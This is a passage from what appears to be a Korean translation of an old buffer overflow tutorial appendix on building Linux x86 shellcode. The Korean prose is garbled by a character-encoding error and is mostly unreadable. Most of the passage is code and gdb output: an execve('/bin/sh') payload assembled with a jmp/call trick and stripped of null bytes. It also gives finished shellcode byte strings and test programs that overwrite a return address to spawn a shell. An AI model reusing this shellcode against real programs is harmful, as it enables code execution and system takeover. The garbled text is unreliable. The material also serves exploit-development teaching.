°ÍÀÌ ¾ø±â ¶§¹®ÀÌ´Ù. ¸¸¾à ´ç½ÅÀÇ Äڵ尡 ¾ÈÀüÇÏ±â µÉ Çʿ䰡 ÀÖ´Ù¸é Ç×»ó ±æÀ̸¦ È®ÀÎÇÏ´Â ÇÔ¼ö¸¦ »ç¿ëÇ϶ó gets(), strcpy() ´ë½Å fgets(), strncpy()µîÀ» ¸»ÀÌ´Ù. gdb tip ------- Ãë¾àÇÑ ÇÁ·Î±×·¥¿¡°Ô exploitÀÌ ¾î¶»°Ô ¿µÇâÀ» ÁÖ´ÂÁö º¸±â¸¦ ¿øÇÒ °ÍÀÌ´Ù. Gdb¿¡ µé¾î°¡ ´ÙÀ½°ú °°ÀÌ ÀÛ¼ºÇ϶ó. (gdb) exec exploit (gdb) symbol-file vulnerable_program ExploitµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ±×¸®°í ´ç½ÅÀÌ ¾î¶² ¹«¾ùÀÌ ÀÖ´Â ¹®Á¦¸¦ Á¤È®È÷ º¼ ¼ö ÀÖ´Ù. ¸¶Áö¸· Á¦¾È ----------------- ¸¶Áö¸·¿¡ µµ´ÞÇß´Ù. À̰ÍÀÌ µµ¿òÀÌ µÇ¾ú±â¸¦ ¹Ù¶õ´Ù. ³ª´Â ÀÌ ÀÚ·á ¾È¿¡ ¸î °¡Áö ¾÷±×·¡À̵åÇϰíÀÚ ÇÏ´Â ¸¶À½ÀÌ ÀÖ´Ù, ¿Ö³ÄÇÏ¸é ³»°¡ ¸»ÇϰíÀÚ ÇÏ´Â ¸ðµç °ÍÀÌ ÀÖÁö ¾Ê±â ¶§¹®ÀÌ´Ù. ±×·¯³ª ³»°¡ ¸»ÇϰíÀÚ ÇÏ´Â ¸ðµç °ÍÀ» ´õ¿í È®ÀÎÇϰíÀÚ »ý°¢ÇÑ´Ù. 100% È®½ÇÇÏÁö ¾ÊÀº ¾î¶² °ÍÀ» ¸»ÇÏ´Â ´ë½Å ¸»ÀÌ´Ù. ÀÌ ¹®¼­¿¡¼­ ¸ÂÁö ¾Ê´Â °ÍÀ» ¹ß°ßÇϰųª, µ¿ÀÇ ÇÏÁö ¾Ê´Â ´Ù¸é ³ª¿¡°Ô º¸°í¼­¸¦ º¸³» ´Þ¶ó. ´ÙÀ½ÀÇ ¸ÞÀÏ·Î ¸»ÀÌ´Ù. Àб⸦ Á¦¾ÈÇÑ´Ù. ---------------- - Omega Project by Lamagra (BOFÀÇ ´Ù¾çÇÑ »óȲÀ» Á¦½Ã) - Advanced buffer overflow exploit by Taeho Oh (ÀÚ¶û½º·± ´ëÇѹα¹ BOFÀÇ ´ë°¡) - Smashing The Stack For Fun And Profit by Aleph One (BOF¸¦ °øºÎÇÏ´Â »ç¶÷ÀÇ Çʵ¶¼­) ÀÌ 3°³ÀÇ ¹®¼­´Â ´ç½ÅÀÌ ÇÊ¿äÇÑ ¾öû³­ Á¤º¸¸¦ ÁÙ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×µéÀº ³ª¸¦ µµ¿Í ÁÖ¾ú´Ù. packetstorm¿¡¼­ ¹ß°ß ÇÒ ¼ö ÀÖ´Ù. ---------------- ÷ºÎ A : ½© ÄÚµå ---------------- /* »ç½Ç ÀÌ ºÎºÐÀº http://null@root.org/willy ¿¡ (¹°·Ð http://khdp.org¿¡µµ ÀÖ½À´Ï´Ù) willy´ÔÀÌ ÀÛ¼ºÇϽоÆÁÖ ÁÁÀº ÀÚ·á°¡ ÀÖ½À´Ï´Ù. Çѹø º¸½Ã±â¸¦ °­·ÂÈ÷ ±ÇÇÕ´Ï´Ù */ This appendix was written for a friend, Predator, which i gratefully thank for his efforts. Original text is below. Regards mailto:predator@beotel.yu ICQ#: 46043882 I wrote this as part of Ghost Rider buffer overflow tutorial which you can download at http://blacksun.box.sk Author: predator mailto: preedator@hotmail.com date : 26/07/2000 Shell code ÀÌÁ¦ ³ª´Â ½© Äڵ忡 ´ëÇØ À̾߱â ÇÒ °ÍÀÌ´Ù. ½© ÄÚµå´Â ½©À» ¶ç¿ï ¶§ »ç¿ëÇÏ´Â ±â°è¾î ¸í·É¾î·Î ±¸¼ºµÇ¾îÀÖ´Â ¹®ÀÚ ¹è¿­ÀÌ´Ù. ¿ì¸®°¡ exploit Çϱâ À§ÇØ ½ÃµµÇÏ´Â ÇÁ·Î±×·¥Àº ½©À» ½ÇÇàÇÏÁö ¾Ê±â ¶§¹®¿¡ ¿ì¸®´Â ¹Ýµå½Ã À̰ÍÀ» ½á¾ß ÇÑ´Ù. ¿©±â¼­, ´ç½ÅÀº ¹Ýµå½Ã ¾à°£ÀÇ ¾î¼Àºí¸®, C, x86±¸Á¶¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù, Linux ¿ª½Ã ¾Ë¾Æ¾ß ÇÑ´Ù. ±×·¯³ª C¿Í ¾î¼Àºí¸®´Â Á¤¸» ÇÊ¿äÇÏ´Ù. ÀÚ ½ÃÀÛÇÏÀÚ ^^/ 1. ½© ÄÚµå ---------- ÀϹÝÀûÀ¸·Î ½© ÄÚµå´Â ´ÙÀ½ÀÇ ÇÁ·Î±×·¥Ã³·³ ¾²¿© Áø´Ù. 1) char c0de[]={0x90,0x90...}; 2) char c0de[]="\x90\x90..."; µÑÀº µÑ ´Ù »ç¿ëÇÒ ¼ö ÀÖ´Â ¿Ã¹Ù¸¥ °ÍÀÌ´Ù. 2. ½© ÄÚµåÀÇ ½ÃÀÛ ------------------ ------- shell.cpp Code Starts Here ---------- void main(){ char *sh[2]; sh[0]="/bin/sh"; sh[1]=NULL; execve(sh[0],sh,NULL); } ------- shell.cpp Code Ends Here ---------- /* ±»ÀÌ c++·Î ÇÑ ÀÌÀ¯¸¦ ¾Ë ¼ö´Â ¾øÁö¸¸ c¸¦ »ç¿ëÇØµµ µÈ´Ù */ ÀÌ ÇÁ·Î±×·¥Àº ½©À» ½ÇÇàÇÑ´Ù. ¿Ö ¸¹Àº exec ÇÔ¼ö Áß¿¡ execve() Àΰ¡? ±× ´äÀº ¿ÀÁ÷ execve ¸¸ÀÌ "int $0x80À» È£ÃâÇϱ⠶§¹®ÀÌ¸ç ¿ì¸®¿¡°Ô ¾ÆÁÖ Áß¿äÇÑ °ÍÀÌ´Ù. -static ¿É¼Ç°ú ÇÔ²² ÄÄÆÄÀÏ ÇÏÀÚ, ±×¸®°í gdb¸¦ ½ÇÇàÇ϶ó. root@scorpion#cc shell.cpp -o shell -static root@scorpion#gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disass main Dump of assembler code for function main: 0x80481c0
: push %ebp 0x80481c1 : mov %esp,%ebp 0x80481c3 : sub $0x8,%esp 0x80481c6 : movl $0x8073768,0xfffffff8(%ebp) 0x80481cd : movl $0x0,0xfffffffc(%ebp) 0x80481d4 : push $0x0 0x80481d6 : lea 0xfffffff8(%ebp),%eax 0x80481d9 : push %eax 0x80481da : mov 0xfffffff8(%ebp),%eax 0x80481dd : push %eax 0x80481de : call 0x804ea70 <__execve> 0x80481e3 : add $0xc,%esp 0x80481e6 : xor %eax,%eax 0x80481e8 : jmp 0x80481f0 0x80481ea : lea 0x0(%esi),%esi 0x80481f0 : mov %ebp,%esp 0x80481f2 : pop %ebp 0x80481f3 : ret 0x80481f4 : nop 0x80481f5 : nop 0x80481f6 : nop 0x80481f7 : nop 0x80481f8 : nop 0x80481f9 : nop 0x80481fa : nop 0x80481fb : nop 0x80481fc : nop 0x80481fd : nop 0x80481fe : nop 0x80481ff : nop End of assembler dump. (gdb) disass execve Dump of assembler code for function __execve: 0x804ea70 <__execve>: push %ebx 0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx 0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx 0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx 0x804ea7d <__execve+13>: mov $0xb,%eax 0x804ea82 <__execve+18>: int $0x80 0x804ea84 <__execve+20>: pop %ebx 0x804ea85 <__execve+21>: cmp $0xfffff001,%eax 0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error> 0x804ea90 <__execve+32>: ret End of assembler dump. (gdb) quit ¸ÞÀÎÀ» º¸ÀÚ, ¸ðµç ÇÔ¼öÀÇ ½ÃÀÛÀº ±×°÷¿¡¼­ºÎÅÍ ½ÃÀÛ ÇÑ´Ù. main -> push %ebp main+1 ->movl %esp,%ebp À̰ÍÀº ¸ðµç ÇÔ¼öÀÇ Ç¥ÁØ ÀýÂ÷ÀÌ´Ù. %ebp(stack base pointer)¸¦ ÀúÀåÇϰí ÇöÀçÀÇ esp (Stack Pointer)¿Í °°°Ô ÇÑ´Ù. main+3 -> sub $0x8,%esp %esp¿¡ 0x8¸¸Å­ »«´Ù(stackÀº Å« °÷¿¡¼­ ÀÛÀº °÷À¸·Î ÀÚ¶õ´Ù) ¿Ö³ÄÇϸé 2°³ÀÇ charÇü pointer´Â 8¹ÙÀÌÆ®ÀÌ´Ù (2 * 4 = 8; 0ops ¿Ø »ê¼öÁö --+) main+6 -> movl 0x8073768,0xfffffff8(%ebp) '/bin/sh'¸¦ sh[0]¿¡ ÀúÀåÇÑ´Ù. main+13 -> movl $0x0,0xfffffffc(%ebp) NULL À» sh[1]¿¡ ÀúÀåÇÑ´Ù. main+20 -> pushl $0x0 ¿©±â´Â execve()ÇÔ¼öÀÇ È£ÃâÀ» ½ÃÀÛÇÏ´Â °÷ÀÌ´Ù. ¿ì¸®´Â ÇÔ¼öÀÇ ÀÎÀÚµéÀ» ¹Ý´ë·Î ÀÔ·Â ÇÑ´Ù. ½ºÅÃÀÇ ¼ø¼­(x86 ±¸Á¶´Â À§¿¡¼­ ¾Æ·¡·Î ÀÛ¾÷ÇÑ´Ù) main+22 -> lea 0xfffffff8(%ebp),%eax lea´Â ±â´ëÇÏ´Â ÁÖ¼Ò¸¦ ÀûÀçÇÑ´Ù. ¿ì¸®´Â pointer¹è¿­¿¡ ÀÖ´Â 'sh'ÀÇ ÁÖ¼Ò¸¦ ÀûÀçÇÑ´Ù main+25 -> pushl %eax ¿ì¸®´Â ½ºÅÿ¡ 2¹øÂ° ÀÎÀÚÀÎ 'sh' ÁÖ¼Ò°¡ ´ã±ä eax¸¦ ³Ö´Â´Ù main+26 -> movl 0xfffffff8(%ebp),%eax ... 0xfffffff8(%ebp) ¾È¿¡'/bin/sh'ÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Ù ÀÚ ÀÌÁ¦ execve() ÇÔ¼ö¸¦ º¸ÀÚ. __execve+1 mov 0x10(%esp,1),%edx ¿ì¸®´Â ¹Ýµå½Ã NULLÀ» °¡Áö°í ÀÖ´Â ¼¼ ¹øÂ° ÀÎÀÚÀÎ edxÀÇ ÁÖ¼Ò¸¦ °¡Á®¾ß ÇÑ´Ù. __execve+5 mov 0xc(%esp,1),%ecx ¿ì¸®´Â ¹Ýµå½Ã 'sh'¹®ÀÚ¿­À» °¡Áö°í ÀÖ´Â µÎ ¹øÂ° ÀÎÀÚÀÎ ecxÀÇ ÁÖ¼Ò¸¦ °¡Á®¾ß ÇÑ´Ù. __execve+9 mov 0x8(%esp,1),%ebx ¿ì¸®´Â ¹Ýµå½Ã '/bin/sh' ¹®ÀÚ¿­À» °¡Áö°í Àִ ù ¹øÂ° ÀÎÀÚÀÎ ebxÀÇ ÁÖ¼Ò¸¦ °¡Á®¾ß ÇÑ´Ù. __execve+13 mov $0xb,%eax 0xb´Â execve()ÇÔ¼öÀÇ ½Ã½ºÅÛ È£Ãâ ¹øÈ£ÀÌ´Ù (¿ªÁÖ: ÀÌ°Ç ¿î¿µÃ¼Á¦¸¶´Ù Á¤ÀÇ µÇ¾î ÀÖ´Ù) __execve+18 int $0x80 ½Ã½ºÅÛ È£Ãâ ÈÄ int $0x80Àº Ä¿³Î ¸ðµå·Î ÀüȯÇÑ´Ù. Àú°Í µéÀÌ ÇÏ´Â ÀÏ ( --; ) %edx¾È¿¡´Â NULLÀÇ ÁÖ¼Ò°¡ ÀÖ´Ù. %ecx¾È¿¡´Â 'sh'¹®ÀÚ¿­ÀÌ ÀÖ´Â ÁÖ¼Ò°¡ ÀÖ´Ù. %ebx¾È¿¡´Â '/bin/sh' ¹®ÀÚ¿­ÀÌ ÀÖ´Â ÁÖ¼Ò°¡ ÀÖ´Ù. %eax¾È¿¡´Â ½Ã½ºÅÛ È£Ãâ¹øÈ£ 0xb°¡ ÀÖ´Ù. int $0x80¸¦ È£ÃâÇÏ¿© Ä¿³Î¸ðµå·Î Àüȯ ½ÃŲ´Ù. À½ ¿ì¸®´Â ¿ì¸®ÀÇ '/bin/sh'¹®ÀÚ¿­ÀÌ ÀÖ´Â ¸Þ¸ð¸®ÀÇ Á¤È®ÇÑ ÁÖ¼Ò°¡ ÇÊ¿äÇÏ´Ù. ¿ì¸®´Â ½ºÅûóÀÇ EIP¸¦ ³ÖÀº ÈÄ ½±°Ô'/bin/sh'¸¦ ³ÖÀ» ¼ö ÀÖ´Ù, ±×¸®°í ³Ö¾îÁø EIP´Â ¿ì¸®ÀÇ ¹®ÀÚ¿­ ÁÖ¼ÒÀÏ °ÍÀÌ´Ù. [JaaaaaaaaaaaaaaaaaaaaaaaaaCsssssss] |^_______________________^| |_________________________| ÄÚµåÀÇ ½ÃÀÛ¿¡¼­, ¿ì¸®´Â JMP ¸í·É¾î¸¦ ³Ö°í, CallÀÌ ÀÖ´Â °÷À¸·Î À̵¿ÇÑ´Ù, ±×¸®°í CallÀº EIP(´ÙÀ½ÀÇ ¸í·É¾î¸¦ ÀúÀåÇÏ´Â ·¹Áö½ºÅÍ - Áï s[/bin/sh]ºÎºÐÀ» °¡¸®Å²´Ù)¸¦ ÀúÀåÇÏ°í ´Ù½Ã a°¡ À§Ä¡ÇÑ °÷À» È£ÃâÇÑ´Ù. a ºÎºÐÀº ½©Äڵ尡 ÀÖ´Ù. J ºÎºÐÀº JMP ¸í·É¾î°¡ ÀÖ´Ù. C ºÎºÐÀº CALL ¸í·É¾î°¡ ÀÖ´Ù. s ºÎºÐÀº '/bin/sh'¹®ÀÚ¿­ÀÌ ÀÖ´Ù ÀÌÁ¦ ¾î¼ÀÄÚµå·Î ½á º¸ÀÚ. ------------ shell1.cpp Code Starts Here ---------------- void main(){ __asm__("jmp 0x1e \n" // call·Î À̵¿ "popl %esi \n" esi¿¡ ÀúÀåµÈ EIP¸¦ °¡Áø´Ù, ¿ì¸®´Â /bin/shÀÇ ÁÖ¼Ò¸¦ ÀÌÁ¦ ¾Ë°í ÀÖ´Ù. Popl½Ã۸é ÀÌÀü¿¡ ÀÖ´ø call ÀÌÀüÀ¸·Î µ¹¾Æ°¡±â À§ÇÑ returnÁÖ¼Ò¸¦ °¡Áö°í Àֱ⠶§¹®¿¡ À̰ÍÀÌ °¡´ÉÇÑ °ÍÀÌ´Ù. "movl %esi,0x8(%esi) \n" / '/bin/sh' µÚ¿¡ shÀÇ ÁÖ¼Ò¸¦ »ðÀÔ "movl $0x0,0xc(%esi) \n" // sh ÁÖ¼ÒµÚ¿¡ 3¹øÂ° ÀÎÀÚÀÎ NULL "movb $0x0,0x7(%esi) \n" // ¹®ÀÚ¿­ ¸¶Áö¸·¿¡ NULL·Î ó¸® "movl %esi,%ebx \n" // sh[0]ÀÇ ÁÖ¼Ò¸¦ %ebx¿¡ »ðÀÔ "leal %0x8(%esi),%ecx \n" // 'sh'ÀÇ ÁÖ¼Ò¸¦ %ecx¿¡ »ðÀÔ(2¹øÂ° ÀÎÀÚ) "leal %0xc(%esi),%edx \n" // NULLÀÇ ÁÖ¼Ò¸¦ %edx¿¡ »ðÀÔ(3¹øÂ° ÀÎÀÚ) "movl $0xb,%eax \n" // execve()ÇÔ¼öÀÇ ½Ã½ºÅÛ È£Ãâ¹øÈ£¸¦ %eax¿¡ »ðÀÔ " int $0x80 \n" // Ä¿³Î ¸ðµå·Î Àüȯ " call -0x23 \n" // popl %esi¸¦ È£Ãâ " .string \"/bin/sh\" \n"); // ¿ì¸®°¡ ½ÇÇàÇÒ shÀÇ ¹®ÀÚ¿­ } ------------ shell1.cpp Code Ends Here ---------------- ÄÄÆÄÀÏ ÇØº¸ÀÚ root@scorpion#cc shel1.cpp -o shell1 root@scorpion#gdb shell1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) x/bx main+3 <------- jmp´Â ¿©±â¼­ºÎÅÍ ½ÃÀÛ 0x8048733 : 0xeb (gdb) 0x8048734 : 0x1e (gdb) 0x8048735 : 0x5e (gdb) 0x8048736 : 0x89 (gdb) 0x8048737 : 0x76 (gdb) 0x8048738 : 0x08 (gdb) 0x8048739 : 0xc6 (gdb) 0x804873a : 0x46 (gdb) 0x804873b : 0x07 (gdb) 0x804873c : 0x00 (gdb) 0x804873d : 0xc7 (gdb) 0x804873e : 0x46 (gdb) 0x804873f : 0x0c (gdb) 0x8048740 : 0x00 (gdb) 0x8048741 : 0x00 (gdb) 0x8048742 : 0x00 (gdb) 0x8048743 : 0x00 (gdb) 0x8048744 : 0x89 (gdb) 0x8048745 : 0xf3 (gdb) 0x8048746 : 0x8d (gdb) 0x8048747 : 0x4e (gdb) 0x8048748 : 0x08 (gdb) 0x8048749 : 0x8d (gdb) 0x804874a : 0x56 (gdb) 0x804874b : 0x0c (gdb) 0x804874c : 0xb8 (gdb) 0x804874d : 0x0b (gdb) 0x804874e : 0x00 (gdb) 0x804874f : 0x00 (gdb) 0x8048750 : 0x00 (gdb) 0x8048751 : 0xcd (gdb) 0x8048752 : 0x80 (gdb) 0x8048753 : 0xe8 (gdb) 0x8048754 : 0xdd (gdb) 0x8048755 : 0xff (gdb) 0x8048756 : 0xff (gdb) 0x8048757 : 0xff (gdb) 0x8048758 : 0x2f (gdb) 0x8048759 : 0x62 (gdb) 0x804875a : 0x69 (gdb) 0x804875b : 0x6e (gdb) 0x804875c : 0x2f (gdb) 0x804875d : 0x73 (gdb) 0x804875e : 0x68 <--------- ÄÚµåÀÇ ³¡ (gdb)quit ¿ªÀÚÁÖ) º¸Åë ½© Äڵ带 »ÌÀ»¶§ ÀúÀÇ °æ¿ì´Â objdump¸¦ ¸¹ÀÌ ÀÌ¿ëÇÕ´Ï´Ù. ¿©±â¼± ±×³É ÇÑ ÁÙ¾¿ »Ì¾Æ¼­ º¸¿©ÁÖ°í ÀÖÁö¸¸ ½ÇÁ¦·Î´Â ÇÑ ¸í·É¾î¾¿ »ÌÀ» ¼öµµ ÀÖÀ¸¸ç ±æÀ̸¦ ÁÖ ¾î Ãâ·ÂÇÏ´Â °Íµµ °¡´ÉÇÕ´Ï´Ù ½© Äڵ带 ÀÛ¼ºÇØ º¸ÀÚ --------------- shell2.cpp Code Starts Here ------------------ char c0de[]= "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00" "\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00" "\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main(){ char buf[5]; long *ret=(long *)(buf+12); // gcc version 2.95ÀÌÇÏ¿¡¼­ ÀÛ¼ºµÈ °ÍÀ¸·Î º¸ÀδÙ. *ret=(long)c0de; } --------------- shell2.cpp Code Ends Here ------------------ root@scorpion#cc shell2.cpp -o shell2 root@scorpion#./shell2 sh-2.03 "\x2f\x62\x69\x6e\x2f\x73\x68"ºÎºÐÀº ¿ì¸®°¡ /bin/sh ¶ó°í ÀÛ¼ºÇÑ °Í°ú °°´Ù. (ÄÚµåÀÇ ¸¶Áö¸· ºÎºÐÀÌ´Ù) ½© Äڵ带 º¸¸é.. \x00 ¶Ç´Â \x0ÀÌ À§Ä¡ÇØ ÀÖ´Ù. ¾Ë°í ÀÖµíÀÌ '\0'Àº ¹®ÀÚ¿­ÀÇ ³¡ÀÌ´Ù. Strcpy³ª ´Ù¸¥ ¹®ÀÚ¿­ ÇÔ¼ö´Â '\0'À» ãÀ» ¶§±îÁö º¹»çÇÑ´Ù. ±×¸®°í ¿ì¸®ÀÇ ½© Äڵ尡 ¸ðµÎ º¹»çµÇ¾î ÁöÁö ¾ÊÀ» °ÍÀÌ´Ù ( ¿ÀÈ£¶ó ÅëÁ¦¶ó --+) '\0'À» Á¦°ÅÇØ º¸ÀÚ. À̰ÍÀ» ÀÌ·¸°Ô ----------------------------------------------------- xorl %eax,%eax // »õ·Î Ãß°¡µÈ ºÎºÐ movb $0x0,0x7(%esi) movb %al,0x7(%esi) movl $0x0,0xc(%esi) movl %eax,0xc(%esi) movl $0xb,$eax movb %0xb,%al ----------------------------------------------------- À̰ÍÀ» °¡Áö°í ÀÌ·¸°Ô Äڵ带 ¹Ù²ÙÀÚ --------------- shell3.cpp Code Starts Here --------------- void main(){ __asm__("jmp 0x18 \n" "popl %esi \n" "movl %esi,0x8(%esi) \n" "xorl %eax,%eax \n" "movb %al,0x7(%esi) \n" "movl %eax,0xc(%esi) \n" "movl %esi,%ebx \n" "leal 0x8(%esi),%ecx \n" "leal 0xc(%esi),%edx \n" "movb $0xb,%al \n" "int $0x80 \n" "call -0x1d \n" ".string \"/bin/sh\" \n"); } --------------- shell3.cpp Code Ends Here --------------- ÀÌó·³ ÄÄÆÄÀÏ Ç϶ó root@scorpion#cc shell3.cpp -o shell3 root@scorpion#gdb shell3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) x/bx main+3 <---------jmpÀÇ ½ÃÀÛ 0x80483c3 : 0xeb (gdb) 0x80483c4 : 0x18 (gdb) 0x80483c5 : 0x5e (gdb) 0x80483c6 : 0x89 (gdb) 0x80483c7 : 0x76 (gdb) 0x80483c8 : 0x08 (gdb) 0x80483c9 : 0x31 (gdb) 0x80483ca : 0xc0 (gdb) 0x80483cb : 0x88 (gdb) 0x80483cc : 0x46 (gdb) 0x80483cd : 0x07 (gdb) 0x80483ce : 0x89 (gdb) 0x80483cf : 0x46 (gdb) 0x80483d0 : 0x0c (gdb) 0x80483d1 : 0x89 (gdb) 0x80483d2 : 0xf3 (gdb) 0x80483d3 : 0x8d (gdb) 0x80483d4 : 0x4e (gdb) 0x80483d5 : 0x08 (gdb) 0x80483d6 : 0x8d (gdb) 0x80483d7 : 0x56 (gdb) 0x80483d8 : 0x0c (gdb) 0x80483d9 : 0xb0 (gdb) 0x80483da : 0x0b (gdb) 0x80483db : 0xcd (gdb) 0x80483dc : 0x80 (gdb) 0x80483dd : 0xe8 (gdb) 0x80483de : 0xe3 (gdb) 0x80483df : 0xff (gdb) 0x80483e0 : 0xff (gdb) 0x80483e1 : 0xff (gdb) 0x80483e2 : 0x2f (gdb) 0x80483e3 : 0x62 (gdb) 0x80483e4 : 0x69 (gdb) 0x80483e5 : 0x6e (gdb) 0x80483e6 : 0x2f (gdb) 0x80483e7 : 0x73 (gdb) 0x80483e8 : 0x68 <-------- ÄÚµåÀÇ ¸¶Áö¸· (gdb)quit ´Ù½Ã ¾´ ÇÁ·Î±×·¥: -------------- shell4.cpp Code Starts Here ---------------- char c0de[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; void main(){ char buf[5]; long *ret=(long *)(buf+12); *ret=(long)c0de; } -------------- shell4.cpp Code Ends Here ---------------- shell4.cpp¸¦ ÄÄÆÄÀÏ root@scorpion#cc shell4.cpp -o shell4 root@scorpion#./shell4 sh-2.03# ÀÛ¾÷ÇÑ´Ù. ±×¸®°í À̰ÍÀº ÀÌÀüÀÇ Äڵ庸´Ù Àú ÀÛÀ¸¸ç, ³Î ¹®ÀÚ¿­ÀÌ ¾ø±â ¶§¹®¿¡ strcpy(), sprintf()µîÀÇ ÇÔ¼ö¿¡¼­µµ ¸ðµç ¹®ÀÚ¿­À» º¹»çÇÒ °ÍÀÌ´Ù. ÀÌ°Ç ÇöÀçÀÇ ÇÁ·Î±×·¥ÀÇ ½ºÅà Æ÷ÀÎÅ͸¦ Ãâ·ÂÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù : ------- sp.cpp Code Stars Here----------- unsigned long get_esp(){ __asm__(" movl %esp,%eax \n"); } void main(){ printf(" Stack pointer is 0x%x%\n",get_esp()); } ------- sp.cpp Code Ends Here----------- root@scorpion#cc sp.cpp -o sp root@scoprion#./sp ½ºÅÃÆ÷ÀÎÅÍ´Â 0xbffff910 ÀÌ´Ù <--- Ãâ·ÂÀÇ °ªÀº ´Ù¼Ò Â÷À̰¡ ÀÖÀ» ¼ö ÀÖ´Ù. root@scorpion# -EOF- ¿ªÀÚ ²¿¸®¸» : ÀÌ ¹®¼­¸¦ ¹ø¿ªÇÏ·Á ¼±ÅÃÇß´ø ÀÌÀ¯´Â ´ÜÁö ¸¹Àº ¼³¸íÀÌ ÀÖ´Ù´Â °Í°ú ±æ±ä ÇßÁö¸¸ BOF°¡ ¹ºÁö ¸ð¸£´Â »ç¶÷¿¡°Ôµµ °³³äÀ» ÀüÇÒ ¼ö ÀÖ´Ù°í ÆÇ´ÜÇß¾ú±â ¶§¹®ÀÔ´Ï´Ù. ±×·¯³ª »ý°¢º¸´Ù ¼³¸íÀÌ ¸¹ÀÌ ºÎÁ·Çß´ø °Í °°½À´Ï´Ù. ±×·¡µµ ¾Ë·¦1ÀÇ ¹®¼­¸¦ º¸½ÅºÐ µéÀº ÀÌ ¹ø¿ª±ÛÀÇ ÇãÀâÇÔÀ» ¹Ù·Î ´À³¥ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. Ʋ¸°ºÎºÐÀº Á¦°Ô e-mailÀ» Áּŵµ µË´Ï´Ù. ªÀº ¿µ¾î ½Ç·ÂÀ¸·Î ¹ø¿ªÇѰŶó ÇÊÈ÷ Ʋ¸° ºÎºÐÀÌ ÀÖÀ» °ÍÀ¸·Î º¸ÀÔ´Ï´Ù. ±×·³ ÁñÇÙÇÏ½Ã±æ ¹Ù¶ø´Ï´Ù.